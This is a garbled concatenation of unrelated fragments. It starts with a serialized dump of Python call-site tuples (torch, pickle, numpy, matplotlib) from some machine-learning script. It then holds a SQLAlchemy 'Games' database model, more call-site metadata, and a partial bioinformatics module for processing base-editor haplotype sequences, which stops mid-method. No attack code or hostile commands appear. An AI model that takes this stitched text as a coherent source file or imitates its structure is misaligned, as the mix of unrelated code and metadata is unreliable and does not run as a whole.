torch\n'), ((1793, 1821), 'torch.stack', 'torch.stack', (['(Y1, Y2)'], {'dim': '(0)'}), '((Y1, Y2), dim=0)\n', (1804, 1821), False, 'import torch\n'), ((1854, 1894), 'torch.stack', 'torch.stack', (['(score_X1, score_X2)'], {'dim': '(0)'}), '((score_X1, score_X2), dim=0)\n', (1865, 1894), False, 'import torch\n'), ((2016, 2036), 'torch.manual_seed', 'torch.manual_seed', (['(0)'], {}), '(0)\n', (2033, 2036), False, 'import torch\n'), ((2202, 2222), 'torch.manual_seed', 'torch.manual_seed', (['(0)'], {}), '(0)\n', (2219, 2222), False, 'import torch\n'), ((2396, 2416), 'torch.manual_seed', 'torch.manual_seed', (['(0)'], {}), '(0)\n', (2413, 2416), False, 'import torch\n'), ((2658, 2678), 'torch.manual_seed', 'torch.manual_seed', (['(0)'], {}), '(0)\n', (2675, 2678), False, 'import torch\n'), ((2843, 2863), 'torch.manual_seed', 'torch.manual_seed', (['(0)'], {}), '(0)\n', (2860, 2863), False, 'import torch\n'), ((3036, 3056), 'torch.manual_seed', 'torch.manual_seed', (['(0)'], {}), '(0)\n', (3053, 3056), False, 'import torch\n'), ((3328, 3348), 'torch.manual_seed', 'torch.manual_seed', (['(0)'], {}), '(0)\n', (3345, 3348), False, 'import torch\n'), ((3608, 3628), 'torch.manual_seed', 'torch.manual_seed', (['(0)'], {}), '(0)\n', (3625, 3628), False, 'import torch\n'), ((3828, 3848), 'torch.manual_seed', 'torch.manual_seed', (['(0)'], {}), '(0)\n', (3845, 3848), False, 'import torch\n'), ((3900, 3940), 'torch.Tensor', 'torch.Tensor', (['[[0.1, 0.01], [0.01, 0.1]]'], {}), '([[0.1, 0.01], [0.01, 0.1]])\n', (3912, 3940), False, 'import torch\n'), ((4263, 4283), 'torch.manual_seed', 'torch.manual_seed', (['(0)'], {}), '(0)\n', (4280, 4283), False, 'import torch\n'), ((4551, 4571), 'torch.manual_seed', 'torch.manual_seed', (['(0)'], {}), '(0)\n', (4568, 4571), False, 'import torch\n'), ((4779, 4799), 'torch.manual_seed', 'torch.manual_seed', (['(0)'], {}), '(0)\n', (4796, 4799), False, 'import torch\n'), ((4859, 4899), 'torch.Tensor', 'torch.Tensor', (['[[0.5, 0.01], [0.01, 0.5]]'], {}), '([[0.5, 0.01], [0.01, 0.5]])\n', (4871, 4899), False, 'import torch\n'), ((5256, 5276), 'torch.manual_seed', 'torch.manual_seed', (['(0)'], {}), '(0)\n', (5273, 5276), False, 'import torch\n'), ((5521, 5541), 'torch.manual_seed', 'torch.manual_seed', (['(0)'], {}), '(0)\n', (5538, 5541), False, 'import torch\n'), ((5738, 5758), 'torch.manual_seed', 'torch.manual_seed', (['(0)'], {}), '(0)\n', (5755, 5758), False, 'import torch\n'), ((6075, 6095), 'torch.manual_seed', 'torch.manual_seed', (['(0)'], {}), '(0)\n', (6092, 6095), False, 'import torch\n'), ((6335, 6355), 'torch.manual_seed', 'torch.manual_seed', (['(0)'], {}), '(0)\n', (6352, 6355), False, 'import torch\n'), ((6623, 6643), 'torch.manual_seed', 'torch.manual_seed', (['(0)'], {}), '(0)\n', (6640, 6643), False, 'import torch\n'), ((6883, 6903), 'torch.manual_seed', 'torch.manual_seed', (['(0)'], {}), '(0)\n', (6900, 6903), False, 'import torch\n'), ((7202, 7222), 'torch.manual_seed', 'torch.manual_seed', (['(0)'], {}), '(0)\n', (7219, 7222), False, 'import torch\n'), ((7566, 7586), 'torch.manual_seed', 'torch.manual_seed', (['(0)'], {}), '(0)\n', (7583, 7586), False, 'import torch\n'), ((7641, 7681), 'torch.Tensor', 'torch.Tensor', (['[[0.1, 0.01], [0.01, 0.1]]'], {}), '([[0.1, 0.01], [0.01, 0.1]])\n', (7653, 7681), False, 'import torch\n'), ((8002, 8022), 'torch.manual_seed', 'torch.manual_seed', (['(0)'], {}), '(0)\n', (8019, 8022), False, 'import torch\n'), ((8382, 8402), 'torch.manual_seed', 'torch.manual_seed', (['(0)'], {}), '(0)\n', (8399, 8402), False, 'import torch\n'), ((8463, 8503), 'torch.Tensor', 'torch.Tensor', (['[[0.5, 0.01], [0.01, 0.5]]'], {}), '([[0.5, 0.01], [0.01, 0.5]])\n', (8475, 8503), False, 'import torch\n'), ((8812, 8832), 'torch.manual_seed', 'torch.manual_seed', (['(0)'], {}), '(0)\n', (8829, 8832), False, 'import torch\n'), ((9156, 9176), 'torch.manual_seed', 'torch.manual_seed', (['(0)'], {}), '(0)\n', (9173, 9176), False, 'import torch\n'), ((9585, 9599), 'torch.zeros', 'torch.zeros', (['n'], {}), '(n)\n', (9596, 9599), False, 'import torch\n'), ((10796, 10811), 'torch.no_grad', 'torch.no_grad', ([], {}), '()\n', (10809, 10811), False, 'import torch\n'), ((11377, 11392), 'torch.no_grad', 'torch.no_grad', ([], {}), '()\n', (11390, 11392), False, 'import torch\n'), ((11900, 11915), 'torch.no_grad', 'torch.no_grad', ([], {}), '()\n', (11913, 11915), False, 'import torch\n'), ((12419, 12434), 'torch.no_grad', 'torch.no_grad', ([], {}), '()\n', (12432, 12434), False, 'import torch\n'), ((12990, 13008), 'pickle.load', 'pickle.load', (['input'], {}), '(input)\n', (13001, 13008), False, 'import pickle\n'), ((13030, 13048), 'pickle.load', 'pickle.load', (['input'], {}), '(input)\n', (13041, 13048), False, 'import pickle\n'), ((13079, 13097), 'pickle.load', 'pickle.load', (['input'], {}), '(input)\n', (13090, 13097), False, 'import pickle\n'), ((13135, 13153), 'pickle.load', 'pickle.load', (['input'], {}), '(input)\n', (13146, 13153), False, 'import pickle\n'), ((13190, 13208), 'pickle.load', 'pickle.load', (['input'], {}), '(input)\n', (13201, 13208), False, 'import pickle\n'), ((13258, 13276), 'pickle.load', 'pickle.load', (['input'], {}), '(input)\n', (13269, 13276), False, 'import pickle\n'), ((13313, 13331), 'pickle.load', 'pickle.load', (['input'], {}), '(input)\n', (13324, 13331), False, 'import pickle\n'), ((13381, 13399), 'pickle.load', 'pickle.load', (['input'], {}), '(input)\n', (13392, 13399), False, 'import pickle\n'), ((13434, 13452), 'pickle.load', 'pickle.load', (['input'], {}), '(input)\n', (13445, 13452), False, 'import pickle\n'), ((13492, 13510), 'pickle.load', 'pickle.load', (['input'], {}), '(input)\n', (13503, 13510), False, 'import pickle\n'), ((13558, 13576), 'pickle.load', 'pickle.load', (['input'], {}), '(input)\n', (13569, 13576), False, 'import pickle\n'), ((13649, 13667), 'pickle.load', 'pickle.load', (['input'], {}), '(input)\n', (13660, 13667), False, 'import pickle\n'), ((13731, 13749), 'pickle.load', 'pickle.load', (['input'], {}), '(input)\n', (13742, 13749), False, 'import pickle\n'), ((13800, 13818), 'pickle.load', 'pickle.load', (['input'], {}), '(input)\n', (13811, 13818), False, 'import pickle\n'), ((13882, 13900), 'pickle.load', 'pickle.load', (['input'], {}), '(input)\n', (13893, 13900), False, 'import pickle\n'), ((13954, 13972), 'pickle.load', 'pickle.load', (['input'], {}), '(input)\n', (13965, 13972), False, 'import pickle\n'), ((14026, 14044), 'pickle.load', 'pickle.load', (['input'], {}), '(input)\n', (14037, 14044), False, 'import pickle\n'), ((14106, 14124), 'pickle.load', 'pickle.load', (['input'], {}), '(input)\n', (14117, 14124), False, 'import pickle\n'), ((14135, 14150), 'torch.no_grad', 'torch.no_grad', ([], {}), '()\n', (14148, 14150), False, 'import torch\n'), ((14194, 14240), 'matplotlib.pyplot.subplots', 'plt.subplots', (['(1)', '(4)'], {'sharex': '(False)', 'sharey': '(False)'}), '(1, 4, sharex=False, sharey=False)\n', (14206, 14240), True, 'from matplotlib import pyplot as plt\n'), ((14270, 14292), 'seaborn.set_style', 'sns.set_style', (['"""ticks"""'], {}), "('ticks')\n", (14283, 14292), True, 'import seaborn as sns\n'), ((14335, 14364), 'seaborn.color_palette', 'sns.color_palette', (['"""husl"""', '(16)'], {}), "('husl', 16)\n", (14352, 14364), True, 'import seaborn as sns\n'), ((14584, 14605), 'numpy.arange', 'np.arange', (['(0)', '(410)', '(20)'], {}), '(0, 410, 20)\n', (14593, 14605), True, 'import numpy as np\n'), ((25185, 25195), 'matplotlib.pyplot.show', 'plt.show', ([], {}), '()\n', (25193, 25195), True, 'from matplotlib import pyplot as plt\n'), ((711, 724), 'torch.ones', 'torch.ones', (['(1)'], {}), '(1)\n', (721, 724), False, 'import torch\n'), ((738, 773), 'torch.zeros', 'torch.zeros', (['dim'], {'dtype': 'torch.float'}), '(dim, dtype=torch.float)\n', (749, 773), False, 'import torch\n'), ((788, 821), 'torch.eye', 'torch.eye', (['dim'], {'dtype': 'torch.float'}), '(dim, dtype=torch.float)\n', (797, 821), False, 'import torch\n'), ((16201, 16224), 'numpy.sqrt', 'np.sqrt', (['no_replica_ty2'], {}), '(no_replica_ty2)\n', (16208, 16224), True, 'import numpy as np\n'), ((16327, 16350), 'numpy.sqrt', 'np.sqrt', (['no_replica_ty2'], {}), '(no_replica_ty2)\n', (16334, 16350), True, 'import numpy as np\n'), ((16993, 17016), 'numpy.sqrt', 'np.sqrt', (['no_replica_ty2'], {}), '(no_replica_ty2)\n', (17000, 17016), True, 'import numpy as np\n'), ((17136, 17159), 'numpy.sqrt', 'np.sqrt', (['no_replica_ty2'], {}), '(no_replica_ty2)\n', (17143, 17159), True, 'import numpy as np\n'), ((17985, 18008), 'numpy.sqrt', 'np.sqrt', (['no_replica_ty2'], {}), '(no_replica_ty2)\n', (17992, 18008), True, 'import numpy as np\n'), ((18144, 18167), 'numpy.sqrt', 'np.sqrt', (['no_replica_ty2'], {}), '(no_replica_ty2)\n', (18151, 18167), True, 'import numpy as np\n'), ((18937, 18960), 'numpy.sqrt', 'np.sqrt', (['no_replica_ty2'], {}), '(no_replica_ty2)\n', (18944, 18960), True, 'import numpy as np\n'), ((19070, 19093), 'numpy.sqrt', 'np.sqrt', (['no_replica_ty2'], {}), '(no_replica_ty2)\n', (19077, 19093), True, 'import numpy as np\n'), ((19833, 19856), 'numpy.sqrt', 'np.sqrt', (['no_replica_ty2'], {}), '(no_replica_ty2)\n', (19840, 19856), True, 'import numpy as np\n'), ((19977, 20000), 'numpy.sqrt', 'np.sqrt', (['no_replica_ty2'], {}), '(no_replica_ty2)\n', (19984, 20000), True, 'import numpy as np\n'), ((20717, 20740), 'numpy.sqrt', 'np.sqrt', (['no_replica_ty2'], {}), '(no_replica_ty2)\n', (20724, 20740), True, 'import numpy as np\n'), ((20878, 20901), 'numpy.sqrt', 'np.sqrt', (['no_replica_ty2'], {}), '(no_replica_ty2)\n', (20885, 20901), True, 'import numpy as np\n'), ((21794, 21817), 'numpy.sqrt', 'np.sqrt', (['no_replica_ty2'], {}), '(no_replica_ty2)\n', (21801, 21817), True, 'import numpy as np\n'), ((21971, 21994), 'numpy.sqrt', 'np.sqrt', (['no_replica_ty2'], {}), '(no_replica_ty2)\n', (21978, 21994), True, 'import numpy as np\n'), ((22862, 22885), 'numpy.sqrt', 'np.sqrt', (['no_replica_ty2'], {}), '(no_replica_ty2)\n', (22869, 22885), True, 'import numpy as np\n'), ((23018, 23041), 'numpy.sqrt', 'np.sqrt', (['no_replica_ty2'], {}), '(no_replica_ty2)\n', (23025, 23041), True, 'import numpy as np\n'), ((946, 978), 'torch.ones', 'torch.ones', (['(1)'], {'dtype': 'torch.float'}), '(1, dtype=torch.float)\n', (956, 978), False, 'import torch\n'), ((1030, 1062), 'torch.ones', 'torch.ones', (['(1)'], {'dtype': 'torch.float'}), '(1, dtype=torch.float)\n', (1040, 1062), False, 'import torch\n'), ((1197, 1215), 'torch.sqrt', 'torch.sqrt', (['factor'], {}), '(factor)\n', (1207, 1215), False, 'import torch\n'), ((1218, 1258), 'torch.randn', 'torch.randn', (['no_points_per_func_ty2', 'dim'], {}), '(no_points_per_func_ty2, dim)\n', (1229, 1258), False, 'import torch\n'), ((1342, 1360), 'torch.sqrt', 'torch.sqrt', (['factor'], {}), '(factor)\n', (1352, 1360), False, 'import torch\n'), ((1363, 1403), 'torch.randn', 'torch.randn', (['no_points_per_func_ty2', 'dim'], {}), '(no_points_per_func_ty2, dim)\n', (1374, 1403), False, 'import torch\n'), ((1490, 1521), 'torch.stack', 'torch.stack', (['(Y1_X2, Y2)'], {'dim': '(1)'}), '((Y1_X2, Y2), dim=1)\n', (1501, 1521), False, 'import torch\n'), ((10180, 10206), 'torch.linspace', 'torch.linspace', (['(-3)', '(3)', '(100)'], {}), '(-3, 3, 100)\n', (10194, 10206), False, 'import torch\n'), ((15210, 15223), 'torch.ones', 'torch.ones', (['(1)'], {}), '(1)\n', (15220, 15223), False, 'import torch\n'), ((15361, 15374), 'torch.ones', 'torch.ones', (['(1)'], {}), '(1)\n', (15371, 15374), False, 'import torch\n')] |
# -*- coding: utf-8 -*-
import datetime
import sqlalchemy
from sqlalchemy import orm
from sqlalchemy_serializer import SerializerMixin
from .db_session import SqlAlchemyBase
from .model import Model
class Games(SqlAlchemyBase, SerializerMixin, Model):
__tablename__ = 'games'
id = sqlalchemy.Column(sqlalchemy.Integer, primary_key=True, autoincrement=True)
title = sqlalchemy.Column(sqlalchemy.String, unique=True, nullable=True)
rating = sqlalchemy.Column(sqlalchemy.Integer, default=0)
original_price = sqlalchemy.Column(sqlalchemy.Float, nullable=True)
discount = sqlalchemy.Column(sqlalchemy.Float, nullable=True)
discount_price = sqlalchemy.Column(sqlalchemy.Float, nullable=True)
image_urls = sqlalchemy.Column(sqlalchemy.String, nullable=True)
placement_date = sqlalchemy.Column(sqlalchemy.DateTime, default=datetime.datetime.now)
published_date = sqlalchemy.Column(sqlalchemy.DateTime, nullable=True)
developer_name = sqlalchemy.Column(sqlalchemy.String, nullable=True)
is_open = sqlalchemy.Column(sqlalchemy.Boolean, default=False)
user_id = sqlalchemy.Column(sqlalchemy.Integer, sqlalchemy.ForeignKey("users.id"))
user = orm.relation('User')
comments = orm.relationship("Comments", back_populates='game')
def show_all(self):
self.is_open = True
self.placement_date = datetime.datetime.now()
def get_img_urls(self) -> dict:
return {'Wide': self.image_urls.split(';')[0],
'Tall': self.image_urls.split(';')[1]}
def set_img_urls(self, urls: dict):
self.image_urls = ';'.join([urls['Wide'], urls['Tall']])
def set_published_date(self, date_str: str):
y, m, d = list(map(int, date_str.split('-')))
self.published_date = datetime.datetime(year=y, month=m, day=d)
def add_rating(self, delta_rating):
if self.is_open:
self.rating += delta_rating
# @staticmethod
# def value_to_str(value, is_total=False):
# if isinstance(value, int) or isinstance(value, float):
# if round(value, 2) or is_total:
# return f"{value:0.2f} ₽"
# else:
# return "Бесплатно"
# # raise TypeError("Неправильный тип для валюты!")
def __repr__(self):
return f'<Game_{self.id}> "{self.title}"'
| [
"datetime.datetime",
"sqlalchemy.orm.relationship",
"sqlalchemy.orm.relation",
"sqlalchemy.ForeignKey",
"datetime.datetime.now",
"sqlalchemy.Column"
] | [((292, 367), 'sqlalchemy.Column', 'sqlalchemy.Column', (['sqlalchemy.Integer'], {'primary_key': '(True)', 'autoincrement': '(True)'}), '(sqlalchemy.Integer, primary_key=True, autoincrement=True)\n', (309, 367), False, 'import sqlalchemy\n'), ((380, 444), 'sqlalchemy.Column', 'sqlalchemy.Column', (['sqlalchemy.String'], {'unique': '(True)', 'nullable': '(True)'}), '(sqlalchemy.String, unique=True, nullable=True)\n', (397, 444), False, 'import sqlalchemy\n'), ((458, 506), 'sqlalchemy.Column', 'sqlalchemy.Column', (['sqlalchemy.Integer'], {'default': '(0)'}), '(sqlalchemy.Integer, default=0)\n', (475, 506), False, 'import sqlalchemy\n'), ((529, 579), 'sqlalchemy.Column', 'sqlalchemy.Column', (['sqlalchemy.Float'], {'nullable': '(True)'}), '(sqlalchemy.Float, nullable=True)\n', (546, 579), False, 'import sqlalchemy\n'), ((595, 645), 'sqlalchemy.Column', 'sqlalchemy.Column', (['sqlalchemy.Float'], {'nullable': '(True)'}), '(sqlalchemy.Float, nullable=True)\n', (612, 645), False, 'import sqlalchemy\n'), ((667, 717), 'sqlalchemy.Column', 'sqlalchemy.Column', (['sqlalchemy.Float'], {'nullable': '(True)'}), '(sqlalchemy.Float, nullable=True)\n', (684, 717), False, 'import sqlalchemy\n'), ((736, 787), 'sqlalchemy.Column', 'sqlalchemy.Column', (['sqlalchemy.String'], {'nullable': '(True)'}), '(sqlalchemy.String, nullable=True)\n', (753, 787), False, 'import sqlalchemy\n'), ((809, 878), 'sqlalchemy.Column', 'sqlalchemy.Column', (['sqlalchemy.DateTime'], {'default': 'datetime.datetime.now'}), '(sqlalchemy.DateTime, default=datetime.datetime.now)\n', (826, 878), False, 'import sqlalchemy\n'), ((900, 953), 'sqlalchemy.Column', 'sqlalchemy.Column', (['sqlalchemy.DateTime'], {'nullable': '(True)'}), '(sqlalchemy.DateTime, nullable=True)\n', (917, 953), False, 'import sqlalchemy\n'), ((975, 1026), 'sqlalchemy.Column', 'sqlalchemy.Column', (['sqlalchemy.String'], {'nullable': '(True)'}), '(sqlalchemy.String, nullable=True)\n', (992, 1026), False, 'import sqlalchemy\n'), ((1042, 1094), 'sqlalchemy.Column', 'sqlalchemy.Column', (['sqlalchemy.Boolean'], {'default': '(False)'}), '(sqlalchemy.Boolean, default=False)\n', (1059, 1094), False, 'import sqlalchemy\n'), ((1194, 1214), 'sqlalchemy.orm.relation', 'orm.relation', (['"""User"""'], {}), "('User')\n", (1206, 1214), False, 'from sqlalchemy import orm\n'), ((1231, 1282), 'sqlalchemy.orm.relationship', 'orm.relationship', (['"""Comments"""'], {'back_populates': '"""game"""'}), "('Comments', back_populates='game')\n", (1247, 1282), False, 'from sqlalchemy import orm\n'), ((1148, 1181), 'sqlalchemy.ForeignKey', 'sqlalchemy.ForeignKey', (['"""users.id"""'], {}), "('users.id')\n", (1169, 1181), False, 'import sqlalchemy\n'), ((1366, 1389), 'datetime.datetime.now', 'datetime.datetime.now', ([], {}), '()\n', (1387, 1389), False, 'import datetime\n'), ((1777, 1818), 'datetime.datetime', 'datetime.datetime', ([], {'year': 'y', 'month': 'm', 'day': 'd'}), '(year=y, month=m, day=d)\n', (1794, 1818), False, 'import datetime\n')] |
import re
import itertools
import os
import pandas as pd
import numpy as np
from prettytable import PrettyTable
from tqdm import tqdm
def get_char(seq):
"""split string int sequence of chars returned in pandas.Series"""
chars = list(seq)
return pd.Series(chars)
class SeqProcessConfig(object):
def __init__(self, seq_len, seq_stend, ewindow_stend, offset_val):
self.seq_len = seq_len
# entries are with respect to offset value (i.e. start and end indices)
self.seq_stend = seq_stend
self.ewindow_stend = ewindow_stend
self.offset_val = offset_val
# determine the range (start and end) from the offset provided
self._determine_offset_range()
# map the indices to 0-based indexing
self._translate_to_0based_indexing()
def _determine_offset_range(self):
# printing indices
st = self.offset_val
if st <= 0:
# for example -4,25 (equivalent to 30 elements where 0 is included)
end = self.seq_len - abs(st) - 1
else:
# for example 1,30 (equivalent to 30 elements)
end = self.seq_len + st - 1
self.offset_st = st
self.offset_end = end
def _translate_to_0based_indexing(self):
offset = self.offset_val
# edit window mapping
st, end = self.ewindow_stend
self.ewindow_st = st - offset
self.ewindow_end = end - offset
# sequence mapping
st, end = self.seq_stend
self.seq_st = st - offset
self.seq_end = end - offset
def __str__(self):
tb = PrettyTable()
tb.field_names = ['Sequence processing Config', 'Value']
tb.add_row(['sequence length', self.seq_len])
tb.add_row(['sequence start index (0-based indexing)', self.seq_st])
tb.add_row(['sequence end index (0-based indexing)', self.seq_end])
tb.add_row(['editable window start index (0-based indexing)', self.ewindow_st])
tb.add_row(['editable window end index (0-based indexing)', self.ewindow_end])
tb.add_row(['offset start numbering', self.offset_st])
tb.add_row(['offset end numbering', self.offset_end])
return tb.get_string()
class HaplotypeSeqProcessor(object):
def __init__(self, base_editor, conversion_nucl, seqconfig, max_num_targets=12):
self.base_editor = base_editor
self.conversion_nucl = conversion_nucl
self.seqconfig = seqconfig
self.max_num_targets = max_num_targets
self.describe()
def describe(self):
tb = PrettyTable()
tb.field_names = ['Description', 'Value']
tb.add_row(['Base editor', self.base_editor])
tb.add_row(['Target nucleotide', self.conversion_nucl[0]])
tb.add_row(['Conversion nucleotide', self.conversion_nucl[1]])
tb.add_row(['Maximum number of targets considered', self.max_num_targets])
print(tb)
print(self.seqconfig)
def _determine_target_complem_nucl(self):
tb_nucl, cb_nucl = self.conversion_nucl
return tb_nucl, cb_nucl
def remove_viol_seqs(self, df, inpseq_col):
"""
Args:
df: dataframe
inpseq_col: string, column name of input sequence such as "Inp_seq"
"""
print('--- checking for violating seqs ---')
seq_df = df.copy()
tb_nucl, __ = self.conversion_nucl
seqlen = self.seqconfig.seq_len
viol_seqs = []
cond_letter = ~seq_df[inpseq_col].str.contains(tb_nucl)
cond_len = ~seq_df[inpseq_col].str.len() == seqlen
df_clean = seq_df
if cond_len.any() or cond_letter.any():
cond = cond_letter | cond_len
print(seq_df.loc[cond, inpseq_col])
df_clean = seq_df.loc[~cond].copy()
df_clean.reset_index(inplace=True, drop=True)
return df_clean
def _check_duplicates(self, gdf, outcomeseq_colname, pbar, prg_counter):
gdf_clean = gdf.copy()
gdf_clean.drop_duplicates(subset=[outcomeseq_colname], inplace=True, ignore_index=True)
prg_counter+=1
pbar.update(prg_counter)
return gdf_clean
def preprocess_df(self, df, inpseq_colnames, outcomeseq_colname):
"""
Args:
df: dataframe
inpseq_colnames: list of column names such as ['seq_id', 'Inp_seq']
outcomeseq_colname: string, column name of observed outcome sequences
"""
print('--- removing duplicates (if found!) ---')
prg_counter=0
dfg = df.groupby(by=inpseq_colnames)
pbar = tqdm(total=dfg.ngroups)
df_clean = dfg.apply(self._check_duplicates, outcomeseq_colname, pbar, prg_counter)
pbar.close()
df_clean.reset_index(inplace=True, drop=True)
return df_clean
def renormalize_outcome_prop(self, df, by_cols, prop_col):
""" renormalize the outcome sequence probability (optional, in case it is not normalized!)
Args:
df:pd.DataFrame, read data frame
by_cols: list, input sequence column name/s such as ['seq_id', 'Inp_seq']
prop_col: string, outcome propotion (i.e. probability) column name
.. Note:
this method is run after using :func:`preprocess_df`
"""
print('--- renormalizing outcome proportion ---')
a = df.groupby(by=by_cols, as_index=False)[prop_col].sum()
a['denom'] = a[prop_col]
b = df.copy()
b = b.merge(a, on=by_cols, how='left')
validate_df(b)
b['prob'] = b[f'{prop_col}_x']/b['denom']
b[prop_col] = b['prob']
return b
def _generate_combinatorial_conversion(self, tbase_indices, conv_nl):
num_pos = len(tbase_indices)
comb_nucl_lst= []
conv_nl_lst = list(conv_nl)
for __ in range(num_pos):
comb_nucl_lst.append(conv_nl_lst)
return itertools.product(*comb_nucl_lst)
def generate_combinatorial_outcome(self, df):
""" Generates combinatorial outcome sequences based on identified canonical bases
Args:
df:pd.DataFrame, processed dataframe using :func:`process_inp_outp_df` function
"""
print('--- generating edit combinations ---')
# print(df.columns)
# print(df.shape)
seqconfig = self.seqconfig
conv_nl = self.conversion_nucl
tb_nucl, cb_nucl = conv_nl
e_st = seqconfig.ewindow_st
e_end = seqconfig.ewindow_end
seqlen = seqconfig.seq_len
max_num_targets=self.max_num_targets
res_df_lst = []
target_cols = ['seq_id', 'Inp_seq', 'Outp_seq']
for row in tqdm(df.iterrows()):
indx, record = row
rec_nucl = record[[f'Inp_L{i}'for i in range(e_st+1,e_end+2)]]
# print('indx:', indx)
# print(rec_nucl)
tbase_indices = np.where(rec_nucl==tb_nucl)[0]
# print('tbase_indices:\n', tbase_indices)
if len(tbase_indices) > max_num_targets:
tbase_indices = tbase_indices[:max_num_targets]
# print('e_st:', e_st)
# print('e_end:', e_end)
# print('tbase_indices:\n', tbase_indices)
comb_nucl_opt= self._generate_combinatorial_conversion(tbase_indices, conv_nl)
comb_nucl_opt = list(comb_nucl_opt)
num_options = len(comb_nucl_opt)
# print(comb_nucl_opt)
comb_nucl_arr = np.repeat(rec_nucl.values.reshape(1,-1),num_options,axis=0)
# print(comb_nucl_arr)
for i_arr, opt in enumerate(comb_nucl_opt):
# print('i_arr:', i_arr)
# print('opt:',opt)
comb_nucl_arr[i_arr, tbase_indices]= opt
# print(comb_nucl_arr)
comb_nucl_df = pd.DataFrame(comb_nucl_arr)
comb_nucl_df.columns = [f'Inp_L{i}'for i in range(e_st+1,e_end+2)]
# print(comb_nucl_df)
pre_ew_col = record[[f'Inp_L{i}'for i in range(1,e_st+1)]]
post_ew_col = record[[f'Inp_L{i}'for i in range(e_end+2,seqlen+1)]]
a = pd.DataFrame(np.repeat(pre_ew_col.values.reshape(1,-1), num_options, axis=0))
a.columns = [f'Inp_L{i}'for i in range(1,e_st+1)]
# print(a)
b = pd.DataFrame(np.repeat(post_ew_col.values.reshape(1,-1), num_options, axis=0))
b.columns = [f'Inp_L{i}'for i in range(e_end+2,seqlen+1)]
# print(b)
# print(record['Inp_seq'])
inpseq_df = pd.DataFrame([record['Inp_seq']]*num_options)
inpseq_df.columns = ['Inp_seq']
seqid_df = pd.DataFrame([record['seq_id']]*num_options)
seqid_df.columns = ['seq_id']
res_df = pd.concat([seqid_df,inpseq_df, a, comb_nucl_df, b], axis=1)
# print()
# print(res_df)
res_df['Outp_seq'] = res_df[[f'Inp_L{i}'for i in range(1,seqlen+1)]].astype(str).sum(axis=1)
# print(res_df)
res_df_lst.append(res_df[target_cols])
# print('-'*15)
comb_final_df = pd.concat(res_df_lst, axis=0)
# print('comb_final_df:\n', comb_final_df.columns)
return comb_final_df
def process_inp_outp_df(self, df, seqid_col, t_inp_col, t_outp_col, outcome_prop_col):
"""
df:pd.DataFrame, read data frame
t_inp_col: string, input sequence column name
t_outp_col: string, output sequence column name
None, when performing inference
outcome_prop_col: string, outcome propotion (i.e. probability of outcome sequence) column name
None, when performing inference
"""
# print()
# print('__ process_inp_outp __')
# print('df.columns:', df.columns)
# print()
max_num_targets = self.max_num_targets
pbar = tqdm(total=100)
seq_len = self.seqconfig.seq_len
tb_nucl, cb_nucl = self._determine_target_complem_nucl()
inp_df = self._process_df(df, seqid_col, t_inp_col, tb_nucl, 'Inp')
if t_outp_col is not None:
pbar.update(25)
outp_df = self._process_df(df, seqid_col, t_outp_col, cb_nucl, 'Outp')
pbar.update(50)
conv_mat = inp_df[[f'Inp_M{i}' for i in range(1,seq_len+1)]].values & \
outp_df[[f'Outp_M{i}' for i in range(1,seq_len+1)]].values
conv_df = pd.DataFrame(conv_mat)
conv_df.columns = [f'conv{tb_nucl}{cb_nucl}_{i}' for i in range(1,seq_len+1)]
pbar.update(75)
if outcome_prop_col is not None:
proc_df = pd.concat([inp_df, outp_df, conv_df, pd.DataFrame(df[outcome_prop_col])], axis=1)
else:
proc_df = pd.concat([inp_df, outp_df, conv_df], axis=1)
else:
pbar.update(50)
proc_df = inp_df
pbar.update(75)
# remove double seq_id columns
proc_df = proc_df.loc[:,~proc_df.columns.duplicated()]
pbar.update(100)
pbar.close()
# print('proc_df.columns:', proc_df.columns)
validate_df(proc_df)
# print()
return proc_df
def _get_char(self,seq):
"""split string int sequence of chars returned in pandas.Series"""
chars = list(seq)
return pd.Series(chars)
def _process_df(self, df, seqid_col, tcol, target_base, suffix):
"""cleans a data frame representing sequences and their edit info obtained from crispr experiment
Args:
df: pandas.DataFrame
tcol: string,
target_base: string,
suffix: string,
Note:
assumed columns in the dataframe are:
"""
## process outcome sequences
# print('__ process_df __')
# print(df.columns)
seqid_df = pd.DataFrame(df[seqid_col].copy())
seqid_df.columns = ['seq_id']
df = pd.DataFrame(df[tcol].copy())
seq_colname = f'{suffix}_seq'
df.columns = [seq_colname]
# harmonize sequence string representation to capitalized form
df[seq_colname] = df[seq_colname].str.upper()
baseseq_df = df[seq_colname].apply(self._get_char)
num_nucl = len(baseseq_df.columns)+1
baseseq_df.columns = [f'{suffix}_B{i}' for i in range(1, num_nucl)]
base_mask = (baseseq_df == target_base) * 1
base_mask.columns = [f'{suffix}_M{i}' for i in range(1, num_nucl)]
baseseq_letters_df = baseseq_df.copy()
baseseq_letters_df.columns = [f'{suffix}_L{i}' for i in range(1, num_nucl)]
# replace base letters with numbers
baseseq_df.replace(['A', 'C', 'T', 'G'], [0,1,2,3], inplace=True)
base_df = pd.concat([seqid_df,
base_mask,
df,
baseseq_letters_df,
baseseq_df], axis=1)
base_df.reset_index(inplace=True, drop=True)
return base_df
def validate_df(df):
print('number of NA:', df.isna().any().sum())
class VizInpOutp_Haplotype(object):
html_colors = {'blue':' #aed6f1',
'red':' #f5b7b1',
'green':' #a3e4d7',
'yellow':' #f9e79f',
'violet':'#d7bde2'}
codes = {'A':'@', 'C':'!', 'T':'#', 'G':'_', 'conv':'~', 'prob':'%'}
nucl_colrmap = {'A':'red',
'C':'yellow',
'T':'blue',
'G':'green',
'prob':'violet'}
def __init__(self):
pass
@classmethod
def viz_align_haplotype(clss, df, seqid, outcome_colname, seqconfig, conv_nl, predscore_thr=0., return_type='html'):
"""
Args:
df: processed dataframe using HaplotypeSeqProcessor.process_inp_outp_df
seqid: string, sequence id
outcome_colname: string or None, the ground truth outcome proportion
seqconfig: instance of SeqProcessConfig class
conv_nl: tuple of (target nucleotide, transition nucleotide)
predscore_thr: float, probability threshold
return_type: string, default `html`
"""
seq_len = seqconfig.seq_len
seq_st, seq_end = seqconfig.seq_st, seqconfig.seq_end
ewindow_st, ewindow_end = seqconfig.ewindow_st, seqconfig.ewindow_end
offset_st, offset_end = seqconfig.offset_st, seqconfig.offset_end
tb_nucl, cb_nucl = conv_nl
codes = clss.codes
tb = PrettyTable()
tb.field_names = ['Desc.'] + [f'{i}' for i in range(1, seq_len+1)]
cond = df['seq_id'] == seqid
cond_thr = df['pred_score'] >= predscore_thr
df = df.loc[(cond) & (cond_thr)].copy()
# sort df by outcome probability
if outcome_colname is not None:
sortcol = outcome_colname
else:
sortcol = 'pred_score'
df.sort_values(by=[sortcol], ascending=False, inplace=True)
# get the input sequence
